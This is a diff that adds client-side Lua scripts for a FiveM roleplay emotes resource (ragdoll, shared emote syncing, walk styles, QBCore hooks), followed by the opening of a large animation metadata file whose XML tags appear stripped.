/dev/null +++ b/resources/rpemotesreborn1.6.0/client/Ragdoll.lua @@ -0,0 +1,32 @@ +if Config.RagdollEnabled then + RegisterCommand('+ragdoll', function() Ragdoll() end, false) + RegisterCommand('-ragdoll', function() StopRagdoll() end, false) + RegisterKeyMapping("+ragdoll", "Ragdoll your character", "keyboard", Config.RagdollKeybind) + + local stop = true + function Ragdoll() + if IsInAnimation then return end + + local ped = PlayerPedId() + if not IsPedOnFoot(ped) then return end + + if Config.RagdollAsToggle then + stop = not stop + else + stop = false + end + + while not stop do + SetPedRagdollForceFall(PlayerPedId()) + ResetPedRagdollTimer(PlayerPedId()) + SetPedToRagdoll(PlayerPedId(), 1000, 1000, 3, 0, 0, 0) + ResetPedRagdollTimer(PlayerPedId()) + Wait(0) + end + end + + function StopRagdoll() + if Config.RagdollAsToggle then return end + stop = true + end +end diff --git a/resources/rpemotesreborn1.6.0/client/Syncing.lua b/resources/rpemotesreborn1.6.0/client/Syncing.lua new file mode 100644 index 000000000..36b94c599 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Syncing.lua @@ -0,0 +1,191 @@ +local isRequestAnim = false +local requestedemote = '' +local targetPlayerId = '' + +-- Some of the work here was done by Super.Cool.Ninja / rubbertoe98 +-- https://forum.fivem.net/t/release-nanimstarget/876709 + +----------------------------------------------------------------------------------------------------- +-- Commands / Events -------------------------------------------------------------------------------- +----------------------------------------------------------------------------------------------------- +if Config.SharedEmotesEnabled then + RegisterCommand('nearby', function(source, args, raw) + if IsPedInAnyVehicle(PlayerPedId(), true) then + return EmoteChatMessage(Translate('not_in_a_vehicle')) + end + + if #args > 0 then + local emotename = string.lower(args[1]) + target, distance = GetClosestPlayer() + if (distance ~= -1 and distance < 3) then + if RP.Shared[emotename] ~= nil then + dict, anim, ename = table.unpack(RP.Shared[emotename]) + TriggerServerEvent("ServerEmoteRequest", GetPlayerServerId(target), emotename) + SimpleNotify(Translate('sentrequestto') .. + GetPlayerName(target) .. " ~w~(~g~" .. ename .. "~w~)") + else + EmoteChatMessage("'" .. emotename .. "' " .. Translate('notvalidsharedemote') .. "") + end + else + SimpleNotify(Translate('nobodyclose')) + end + else + NearbysOnCommand() + end + end, false) +end + +RegisterNetEvent("SyncPlayEmote", function(emote, player) + EmoteCancel() + Wait(300) + targetPlayerId = player + + if IsPedInAnyVehicle(GetPlayerPed(plyServerId ~= 0 and plyServerId or GetClosestPlayer()), true) then + return EmoteChatMessage(Translate('not_in_a_vehicle')) + end + + -- wait a little to make sure animation shows up right on both clients after canceling any previous emote + if RP.Shared[emote] ~= nil then + if RP.Shared[emote].AnimationOptions and RP.Shared[emote].AnimationOptions.Attachto then + -- We do not want to attach the player if the target emote already is attached to player + -- this would cause issue where both player would be attached to each other and fall under the map + local targetEmote = RP.Shared[emote][4] + if not targetEmote or not RP.Shared[targetEmote] or not RP.Shared[targetEmote].AnimationOptions or + not RP.Shared[targetEmote].AnimationOptions.Attachto then + local plyServerId = GetPlayerFromServerId(player) + local ply = PlayerPedId() + local pedInFront = GetPlayerPed(plyServerId ~= 0 and plyServerId or GetClosestPlayer()) + local bone = RP.Shared[emote].AnimationOptions.bone or -1 -- No bone + local xPos = RP.Shared[emote].AnimationOptions.xPos or 0.0 + local yPos = RP.Shared[emote].AnimationOptions.yPos or 0.0 + local zPos = RP.Shared[emote].AnimationOptions.zPos or 0.0 + local xRot = RP.Shared[emote].AnimationOptions.xRot or 0.0 + local yRot = RP.Shared[emote].AnimationOptions.yRot or 0.0 + local zRot = RP.Shared[emote].AnimationOptions.zRot or 0.0 + AttachEntityToEntity(ply, pedInFront, GetPedBoneIndex(pedInFront, bone), xPos, yPos, zPos, xRot, yRot, + zRot, false, false, false, true, 1, true) + end + end + + OnEmotePlay(RP.Shared[emote], emote) + return + elseif RP.Dances[emote] ~= nil then + OnEmotePlay(RP.Dances[emote], emote) + return + else + DebugPrint("SyncPlayEmote : Emote not found") + end +end) + +RegisterNetEvent("SyncPlayEmoteSource", function(emote, player) + -- Thx to Poggu for this part! + local ply = PlayerPedId() + local plyServerId = GetPlayerFromServerId(player) + local pedInFront = GetPlayerPed(plyServerId ~= 0 and plyServerId or GetClosestPlayer()) + + if IsPedInAnyVehicle(ply, true) or IsPedInAnyVehicle(pedInFront, true) then + return EmoteChatMessage(Translate('not_in_a_vehicle')) + end + + local SyncOffsetFront = 1.0 + local SyncOffsetSide = 0.0 + local SyncOffsetHeight = 0.0 + local SyncOffsetHeading = 180.1 + + local AnimationOptions = RP.Shared[emote] and RP.Shared[emote].AnimationOptions + if AnimationOptions then + if AnimationOptions.SyncOffsetFront then + SyncOffsetFront = AnimationOptions.SyncOffsetFront + 0.0 + end + if AnimationOptions.SyncOffsetSide then + SyncOffsetSide = AnimationOptions.SyncOffsetSide + 0.0 + end + if AnimationOptions.SyncOffsetHeight then + SyncOffsetHeight = AnimationOptions.SyncOffsetHeight + 0.0 + end + if AnimationOptions.SyncOffsetHeading then + SyncOffsetHeading = AnimationOptions.SyncOffsetHeading + 0.0 + end + + -- There is a priority to the source attached, if it is not set, it will use the target + if (AnimationOptions.Attachto) then + local bone = AnimationOptions.bone or -1 -- No bone + local xPos = AnimationOptions.xPos or 0.0 + local yPos = AnimationOptions.yPos or 0.0 + local zPos = AnimationOptions.zPos or 0.0 + local xRot = AnimationOptions.xRot or 0.0 + local yRot = AnimationOptions.yRot or 0.0 + local zRot = AnimationOptions.zRot or 0.0 + AttachEntityToEntity(ply, pedInFront, GetPedBoneIndex(pedInFront, bone), xPos, yPos, zPos, xRot, yRot, zRot, + false, false, false, true, 1, true) + end + end + local coords = GetOffsetFromEntityInWorldCoords(pedInFront, SyncOffsetSide, SyncOffsetFront, SyncOffsetHeight) + local heading = GetEntityHeading(pedInFront) + SetEntityHeading(ply, heading - SyncOffsetHeading) + SetEntityCoordsNoOffset(ply, coords.x, coords.y, coords.z, 0) + EmoteCancel() + Wait(300) + targetPlayerId = player + if RP.Shared[emote] ~= nil then + OnEmotePlay(RP.Shared[emote], emote) + return + elseif RP.Dances[emote] ~= nil then + OnEmotePlay(RP.Dances[emote], emote) + return + end +end) + +RegisterNetEvent("SyncCancelEmote", function(player) + if targetPlayerId and targetPlayerId == player then + targetPlayerId = nil + EmoteCancel() + end +end) + +function CancelSharedEmote(ply) + if targetPlayerId then + TriggerServerEvent("ServerEmoteCancel", targetPlayerId) + targetPlayerId = nil + end +end + +RegisterNetEvent("ClientEmoteRequestReceive", function(emotename, etype, target) + isRequestAnim = true + requestedemote = emotename + + if etype == 'Dances' then + _, _, remote = table.unpack(RP.Dances[requestedemote]) + else + _, _, remote = table.unpack(RP.Shared[requestedemote]) + end + + PlaySound(-1, "NAV", "HUD_AMMO_SHOP_SOUNDSET", 0, 0, 1) + SimpleNotify(Translate('doyouwanna') .. remote .. "~w~)") + -- The player has now 10 seconds to accept the request + local timer = 10 * 1000 + while isRequestAnim do + Wait(5) + timer = timer - 5 + if timer <= 0 then + isRequestAnim = false + SimpleNotify(Translate('refuseemote')) + end + + if IsControlJustPressed(1, 246) then + isRequestAnim = false + + -- Check if the emote is shared or dance + if RP.Shared[requestedemote] ~= nil then + _, _, _, otheremote = table.unpack(RP.Shared[requestedemote]) + elseif RP.Dances[requestedemote] ~= nil then + _, _, _, otheremote = table.unpack(RP.Dances[requestedemote]) + end + if otheremote == nil then otheremote = requestedemote end + TriggerServerEvent("ServerValidEmote", target, requestedemote, otheremote) + elseif IsControlJustPressed(1, 182) then + isRequestAnim = false + SimpleNotify(Translate('refuseemote')) + end + end +end) diff --git a/resources/rpemotesreborn1.6.0/client/Utils.lua b/resources/rpemotesreborn1.6.0/client/Utils.lua new file mode 100644 index 000000000..899033021 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Utils.lua @@ -0,0 +1,313 @@ +-- You can edit this function to add support for your favorite notification system +function SimpleNotify(message) + if Config.NotificationsAsChatMessage then + TriggerEvent("chat:addMessage", { color = { 255, 255, 255 }, args = { tostring(message) } }) + else + BeginTextCommandThefeedPost("STRING") + AddTextComponentSubstringPlayerName(message) + EndTextCommandThefeedPostTicker(0, 1) + end +end + +function DebugPrint(...) + if Config.DebugDisplay then + print(...) + end +end + +function firstToUpper(str) + return (str:gsub("^%l", string.upper)) +end + + +function IsPlayerAiming(player) + return (IsPlayerFreeAiming(player) or IsAimCamActive() or IsAimCamThirdPersonActive()) and tonumber(GetSelectedPedWeapon(player)) ~= tonumber(GetHashKey("WEAPON_UNARMED")) +end + +function CanPlayerCrouchCrawl(playerPed) + if not IsPedOnFoot(playerPed) or IsPedJumping(playerPed) or IsPedFalling(playerPed) or IsPedInjured(playerPed) or IsPedInMeleeCombat(playerPed) or IsPedRagdoll(playerPed) then + return false + end + + return true +end + +function PlayAnimOnce(playerPed, animDict, animName, blendInSpeed, blendOutSpeed, duration, startTime) + LoadAnim(animDict) + TaskPlayAnim(playerPed, animDict, animName, blendInSpeed or 2.0, blendOutSpeed or 2.0, duration or -1, 0, startTime or 0.0, false, false, false) + RemoveAnimDict(animDict) +end + +function ChangeHeadingSmooth(playerPed, amount, time) + local times = math.abs(amount) + local test = amount / times + local wait = time / times + + for _i = 1, times do + Wait(wait) + SetEntityHeading(playerPed, GetEntityHeading(playerPed) + test) + end +end + +function EmoteChatMessage(msg, multiline) + if msg then + TriggerEvent("chat:addMessage", + { multiline = multiline == true or false, color = { 255, 255, 255 }, args = { "^1Help^0", tostring(msg) } }) + end +end + +function pairsByKeys(t, f) + local a = {} + for n in pairs(t) do + table.insert(a, n) + end + table.sort(a, f) + local i = 0 -- iterator variable + local iter = function() -- iterator function + i = i + 1 + if a[i] == nil then + return nil + else + return a[i], t[a[i]] + end + end + return iter +end + +function LoadAnim(dict) + if not DoesAnimDictExist(dict) then + return false + end + + local timeout = 2000 + while not HasAnimDictLoaded(dict) and timeout > 0 do + RequestAnimDict(dict) + Wait(5) + timeout = timeout - 5 + end + if timeout == 0 then + DebugPrint("Loading anim dict " .. dict .. " timed out") + return false + else + return true + end +end + +function LoadPropDict(model) + -- load the model if it's not loaded and wait until it's loaded or timeout + if not HasModelLoaded(joaat(model)) then + RequestModel(joaat(model)) + local timeout = 2000 + while not HasModelLoaded(joaat(model)) and timeout > 0 do + Wait(5) + timeout = timeout - 5 + end + if timeout == 0 then + DebugPrint("Loading model " .. model .. " timed out") + return + end + end +end + +function tableHasKey(table, key) + return table[key] ~= nil +end + +function RequestWalking(set) + local timeout = GetGameTimer() + 5000 + while not HasAnimSetLoaded(set) and GetGameTimer() < timeout do + RequestAnimSet(set) + Wait(5) + end +end + + +function GetPedInFront() + local player = PlayerId() + local plyPed = GetPlayerPed(player) + local plyPos = GetEntityCoords(plyPed, false) + local plyOffset = GetOffsetFromEntityInWorldCoords(plyPed, 0.0, 1.3, 0.0) + local rayHandle = StartShapeTestCapsule(plyPos.x, plyPos.y, plyPos.z, plyOffset.x, plyOffset.y, plyOffset.z, 10.0, 12 + , plyPed, 7) + local _, _, _, _, ped2 = GetShapeTestResult(rayHandle) + return ped2 +end + +function NearbysOnCommand(source, args, raw) + local NearbysCommand = "" + for a in pairsByKeys(RP.Shared) do + NearbysCommand = NearbysCommand .. "" .. a .. ", " + end + EmoteChatMessage(NearbysCommand) + EmoteChatMessage(Translate('emotemenucmd')) +end + +function GetClosestPlayer() + local players = GetPlayers() + local closestDistance = -1 + local closestPlayer = -1 + local ply = PlayerPedId() + local plyCoords = GetEntityCoords(ply, 0) + + for index, value in ipairs(players) do + local target = GetPlayerPed(value) + if (target ~= ply) then + local targetCoords = GetEntityCoords(GetPlayerPed(value), 0) + local distance = GetDistanceBetweenCoords(targetCoords["x"], targetCoords["y"], targetCoords["z"], + plyCoords["x"], plyCoords["y"], plyCoords["z"], true) + if (closestDistance == -1 or closestDistance > distance) then + closestPlayer = value + closestDistance = distance + end + end + end + return closestPlayer, closestDistance +end + +function GetPlayers() + local players = {} + + for i = 0, 255 do + if NetworkIsPlayerActive(i) then + table.insert(players, i) + end + end + + return players +end + +---Function that'll check if player is already proning, using news cam or else +---@param ignores? array|nil key string is the ignored value +function isInActionWithErrorMessage(ignores) + DebugPrint(ignores) + DebugPrint('IsProne', IsProne) + DebugPrint('IsUsingNewscam', IsUsingNewscam) + DebugPrint('IsUsingBinoculars', IsUsingBinoculars) + if (ignores == nil) then ignores = {} end + + if not ignores['IsProne'] and IsProne then + EmoteChatMessage(Translate('no_anim_crawling')) + return true + end + if not ignores['IsUsingNewscam'] and IsUsingNewscam then + -- TODO: use specific error message + EmoteChatMessage(Translate('no_anim_right_now')) + return true + end + if not ignores['IsUsingBinoculars'] and IsUsingBinoculars then + -- TODO: use specific error message + EmoteChatMessage(Translate('no_anim_right_now')) + return true + end + + return false +end + + + +---------------------------------------------------------------------- +ShowPed = false + +function ShowPedMenu(zoom) + if not Config.PreviewPed then return end + + if not ShowPed then + CreateThread(function() + clonedPed = CreatePed(26, GetEntityModel(PlayerPedId()), nil, nil, nil, 0, false, false) + ClonePedToTarget(PlayerPedId(), clonedPed) + + SetEntityCollision(clonedPed, false, false) + SetEntityInvincible(clonedPed, true) + SetEntityLocallyVisible(clonedPed) + + NetworkSetEntityInvisibleToNetwork(clonedPed, true) + SetEntityCanBeDamaged(clonedPed, false) + SetBlockingOfNonTemporaryEvents(clonedPed, true) + SetEntityAlpha(clonedPed, 254, false) + + ShowPed = true + + local positionBuffer = {} + local bufferSize = 5 + + if not zoom then + while ShowPed do + local screencoordsX, screencoordsY = 0.65135417461395, 0.77 + if Config.MenuPosition == "left" then + screencoordsX = 1.0 - screencoordsX + end + local world, normal = GetWorldCoordFromScreenCoord(screencoordsX, screencoordsY) -- GetWorldCoordFromScreenCoord(0.67135417461395, 0.7787036895752) + local depth = 3.5 + local target = world + normal * depth + local camRot = GetGameplayCamRot(2) + + table.insert(positionBuffer, target) + if #positionBuffer > bufferSize then + table.remove(positionBuffer, 1) + end + + local averagedTarget = vector3(0, 0, 0) + for _, position in ipairs(positionBuffer) do + averagedTarget = averagedTarget + position + end + averagedTarget = averagedTarget / #positionBuffer + + SetEntityCoords(clonedPed, averagedTarget.x, averagedTarget.y, averagedTarget.z, false, false, false, true) + local heading_offset = Config.MenuPosition == "left" and 170.0 or 190.0 + SetEntityHeading(clonedPed, camRot.z + heading_offset) + SetEntityRotation(clonedPed, camRot.x*(-1), 0, camRot.z + 170.0, 2, false) + + Wait(4) + end + else + while ShowPed do + local screencoordsX, screencoordsY = 0.6, 1.9 + if Config.MenuPosition == "left" then + screencoordsX = 1.0 - screencoordsX + end + local world, normal = GetWorldCoordFromScreenCoord(0.6, 1.9) + local depth = 2.0 + local target = world + normal * depth + local camRot = GetGameplayCamRot(2) + + table.insert(positionBuffer, target) + if #positionBuffer > bufferSize then + table.remove(positionBuffer, 1) + end + + local averagedTarget = vector3(0, 0, 0) + for _, position in ipairs(positionBuffer) do + averagedTarget = averagedTarget + position + end + averagedTarget = averagedTarget / #positionBuffer + + SetEntityCoords(clonedPed, averagedTarget.x, averagedTarget.y, averagedTarget.z, false, false, false, true) + local heading_offset = Config.MenuPosition == "left" and 170.0 or 190.0 + SetEntityHeading(clonedPed, camRot.z + heading_offset) + SetEntityRotation(clonedPed, camRot.x*(-1), 0, camRot.z + 170.0, 2, false) + + Wait(4) + end + end + end) + end +end + +function ClosePedMenu() + if not Config.PreviewPed then return end + + if clonedPed then + ShowPed = false + ClearPedTaskPreview() + DeleteEntity(clonedPed) + end +end + +function ClearPedTaskPreview() + if not Config.PreviewPed then return end + + if clonedPed then + DestroyAllProps(true) + ClearPedTasksImmediately(clonedPed) + end +end \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/client/Walk.lua b/resources/rpemotesreborn1.6.0/client/Walk.lua new file mode 100644 index 000000000..c21067a1d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Walk.lua @@ -0,0 +1,102 @@ +local canChange = true +local unable_message = "You are unable to change your walking style right now." + +function WalkMenuStart(name) + if not canChange then + EmoteChatMessage(unable_message) + return + end + if Config.PersistentWalk then SetResourceKvp("walkstyle", name) end + RequestWalking(name) + SetPedMovementClipset(PlayerPedId(), name, 0.2) + RemoveAnimSet(name) +end + +function ResetWalk() + if not canChange then + EmoteChatMessage(unable_message) + return + end + ResetPedMovementClipset(PlayerPedId()) +end + +function WalksOnCommand() + local WalksCommand = "" + for a in pairsByKeys(RP.Walks) do + WalksCommand = WalksCommand .. "" .. string.lower(a) .. ", " + end + EmoteChatMessage(WalksCommand) + EmoteChatMessage("To reset do /walk reset") +end + +function WalkCommandStart(name) + if not canChange then + EmoteChatMessage(unable_message) + return + end + name = firstToUpper(string.lower(name)) + + if name == "Reset" then + ResetPedMovementClipset(PlayerPedId()) + DeleteResourceKvp("walkstyle") + return + end + + if tableHasKey(RP.Walks, name) then + local name2 = table.unpack(RP.Walks[name]) + WalkMenuStart(name2) + elseif name == "Injured" then + WalkMenuStart("move_m@injured") + else + EmoteChatMessage("'" .. name .. "' is not a valid walk") + end +end + +--- Persistent Walkstyles are stored to KVP. Once the player has spawned, the walkstyle is applied. --- +--- I've added QBCore and ESX support so hopefully people quit crying about it. derchico --- + +if Config.WalkingStylesEnabled and Config.PersistentWalk then + -- Basic Event for Standalone + AddEventHandler('playerSpawned', function() + local kvp = GetResourceKvpString("walkstyle") + + if kvp ~= nil then + WalkMenuStart(kvp) + end + end) + -- Event for QB-Core Users. + RegisterNetEvent('QBCore:Client:OnPlayerLoaded', function() + Wait(5000) + local kvp = GetResourceKvpString("walkstyle") + + if kvp ~= nil then + WalkMenuStart(kvp) + end + end) + -- Event for ESX Users. + RegisterNetEvent('esx:playerLoaded') + AddEventHandler('esx:playerLoaded', function() + Wait(5000) + local kvp = GetResourceKvpString("walkstyle") + + if kvp ~= nil then + WalkMenuStart(kvp) + end + end) +end + +if Config.WalkingStylesEnabled then + RegisterCommand('walks', function() WalksOnCommand() end, false) + RegisterCommand('walk', function(_, args, _) WalkCommandStart(tostring(args[1])) end, false) + TriggerEvent('chat:addSuggestion', '/walk', 'Set your walkingstyle.', { { name = "style", help = "/walks for a list of valid styles" } }) + TriggerEvent('chat:addSuggestion', '/walks', 'List available walking styles.') +end + +function toggleWalkstyle(bool, message) + canChange = bool + if message then + unable_message = message + end +end + +exports('toggleWalkstyle', toggleWalkstyle) diff --git a/resources/rpemotesreborn1.6.0/client/frameworks/qb-core.lua b/resources/rpemotesreborn1.6.0/client/frameworks/qb-core.lua new file mode 100644 index 000000000..5f30aa011 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/frameworks/qb-core.lua @@ -0,0 +1,102 @@ +if Config.Framework ~= 'qb-core' then return end + +local framework = 'qb-core' +local state = GetResourceState(framework) + +if state == 'missing' or state == "unknown" then + -- Framework can't be used if it's missing or unknown + return +end + +QBCore, PlayerData, isLoggedIn = nil, nil, false + +-- QB core parts +QBCore = exports[framework]:GetCoreObject() +PlayerData = QBCore.Functions.GetPlayerData() +isLoggedIn = false + +RegisterNetEvent('QBCore:Client:OnPlayerLoaded', function() + PlayerData = QBCore.Functions.GetPlayerData() + isLoggedIn = true +end) + +RegisterNetEvent('QBCore:Client:OnPlayerUnload', function() + PlayerData = {} + isLoggedIn = false +end) + +RegisterNetEvent('QBCore:Player:SetPlayerData', function(val) + PlayerData = val +end) + +-- This is here to get the player data when the resource is restarted instead of having to log out and back in each time +-- This won't set the player data too early as this only triggers when the server side is started and not the client side +AddEventHandler('onResourceStart', function(resource) + if resource == GetCurrentResourceName() then + Wait(200) + PlayerData = QBCore.Functions.GetPlayerData() + isLoggedIn = true + end +end) + +function CanUseFavKeyBind() + return not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] +end + +-- Added events +RegisterNetEvent('animations:client:PlayEmote', function(args) + if not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] then + EmoteCommandStart(source, args) + end +end) + +if Config.SqlKeybinding then + RegisterNetEvent('animations:client:BindEmote', function(args) + if not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] then + EmoteBindStart(source, args) + end + end) + + RegisterNetEvent('animations:client:EmoteBinds', function() + if not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] then + EmoteBindsStart() + end + end) +end + +RegisterNetEvent('animations:client:EmoteMenu', function() + if not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] then + OpenEmoteMenu() + end +end) + +RegisterNetEvent('animations:client:ListEmotes', function() + if not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] then + EmotesOnCommand() + end +end) + +RegisterNetEvent('animations:client:Walk', function(args) + if not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] then + WalkCommandStart(source, args) + end +end) + +RegisterNetEvent('animations:client:ListWalks', function() + if not PlayerData.metadata['inlaststand'] and not PlayerData.metadata['isdead'] then + WalksOnCommand() + end +end) + +-- Added by https://github.dev/qbcore-framework/dpemotes/ + +CanDoEmote = true +RegisterNetEvent('animations:ToggleCanDoAnims', function(bool) + CanDoEmote = bool +end) + +RegisterNetEvent('animations:client:EmoteCommandStart', function(args) + if CanDoEmote then + EmoteCommandStart(source, args) + end +end) diff --git a/resources/rpemotesreborn1.6.0/conditionalanims.meta b/resources/rpemotesreborn1.6.0/conditionalanims.meta new file mode 100644 index 000000000..e29d334e6 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/conditionalanims.meta @@ -0,0 +1,17322 @@ + + + + + + WANDER + + + CODE_HUMAN_WANDER_CLIPBOARD + CLIPBOARD + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + True + CLIPBOARD + + + False + + + + + + AMB@CODE_HUMAN_WANDER_CLIPBOARD@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_CLIPBOARD@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_CLIPBOARD@IDLES_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_BEER_FEMALE + BEER_BOTTLE_BROWN_BAG + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + False + + + False + + + + True + BEER_BOTTLE_BROWN_BAG + + + True + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_BEER_FEMALE@BASE + + + + False + Stand + + + True + BEER_BOTTLE_BROWN_BAG + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_BEER_FEMALE@STATIC + + + + True + Stand + + + True + BEER_BOTTLE_BROWN_BAG + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_BEER_FEMALE@IDLES_A + + + + False + Stand + + + True + BEER_BOTTLE_BROWN_BAG + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_BEER_MALE + BEER_BOTTLE_BROWN_BAG + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + True + + + False + + + + True + BEER_BOTTLE_BROWN_BAG + + + True + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_BEER_MALE@BASE + + + + False + Stand + + + True + BEER_BOTTLE_BROWN_BAG + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_BEER_MALE@STATIC + + + + True + Stand + + + True + BEER_BOTTLE_BROWN_BAG + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_BEER_MALE@IDLES_A + + + + False + Stand + + + True + BEER_BOTTLE_BROWN_BAG + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_COFFEE_FEMALE + COFFEECUPS + IgnoreLowPriShockingEvents + + + + True + + + True + 6 7 8 9 + + + True + + + + + + + + + + + + + + + + + False + + + False + + + + True + COFFEECUPS + + + False + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_COFFEE_FEMALE@BASE + + + + False + Stand + + + True + COFFEECUPS + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_COFFEE_FEMALE@STATIC + + + + True + Stand + + + True + COFFEECUPS + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_COFFEE_FEMALE@IDLES_A + + + + False + Stand + + + True + COFFEECUPS + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_COFFEE_MALE + COFFEECUPS + IgnoreLowPriShockingEvents + + + + True + + + True + 6 7 8 9 + + + True + + + + + + + + + + + + + + + + + True + + + False + + + + True + COFFEECUPS + + + False + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_COFFEE_MALE@BASE + + + + False + Stand + + + True + COFFEECUPS + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_COFFEE_MALE@STATIC + + + + True + Stand + + + True + COFFEECUPS + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_COFFEE_MALE@IDLES_A + + + + False + Stand + + + True + COFFEECUPS + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_FAT_BEER_FEMALE + DRINK_BEER + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + False + + + True + + + + True + DRINK_BEER + + + True + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_BEER_FEMALE@BASE + + + + False + Stand + + + True + DRINK_BEER + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_BEER_FEMALE@STATIC + + + + True + Stand + + + True + DRINK_BEER + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_BEER_FEMALE@IDLES_A + + + + False + Stand + + + True + DRINK_BEER + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_FAT_BEER_MALE + DRINK_BEER + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + True + + + True + + + + True + DRINK_BEER + + + True + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_BEER_MALE@BASE + + + + False + Stand + + + True + DRINK_BEER + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_BEER_MALE@STATIC + + + + True + Stand + + + True + DRINK_BEER + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_BEER_MALE@IDLES_A + + + + False + Stand + + + True + DRINK_BEER + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_FEMALE + COFFEECUPS + IgnoreLowPriShockingEvents + + + + True + + + True + 6 7 8 9 + + + True + + + + + + + + + + + + + + + + + False + + + True + + + + True + COFFEECUPS + + + False + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_FEMALE@BASE + + + + False + Stand + + + True + COFFEECUPS + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_FEMALE@STATIC + + + + True + Stand + + + True + COFFEECUPS + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_FEMALE@IDLES_A + + + + False + Stand + + + True + COFFEECUPS + + + + + + + + + + + + + + CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_MALE + COFFEECUPS + IgnoreLowPriShockingEvents + + + + True + + + True + 6 7 8 9 + + + True + + + + + + + + + + + + + + + + + True + + + True + + + + True + COFFEECUPS + + + False + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_MALE@BASE + + + + False + Stand + + + True + COFFEECUPS + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_MALE@STATIC + + + + True + Stand + + + True + COFFEECUPS + + + + + + + + + + AMB@CODE_HUMAN_WANDER_DRINKING_FAT_COFFEE_MALE@IDLES_A + + + + False + Stand + + + True + COFFEECUPS + + + + + + + + + + + + + + CODE_HUMAN_WANDER_EATING_FEMALE + HAND_FOOD + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + False + + + False + + + + True + HAND_FOOD + + + False + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FEMALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FEMALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FEMALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_EATING_MALE + HAND_FOOD + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + True + + + False + + + + True + HAND_FOOD + + + False + + + + + + AMB@CODE_HUMAN_WANDER_EATING_MALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_EATING_MALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_EATING_MALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_EATING_FAT_FEMALE + HAND_FOOD + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + False + + + True + + + + True + HAND_FOOD + + + False + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FAT_FEMALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FAT_FEMALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FAT_FEMALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_EATING_FAT_MALE + HAND_FOOD + IgnoreLowPriShockingEvents + + + + + + + + + + + + + + True + + + True + + + + True + HAND_FOOD + + + False + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FAT_MALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FAT_MALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_EATING_FAT_MALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_GARDENER_LEAF_BLOWER + LEAF_BLOWER + 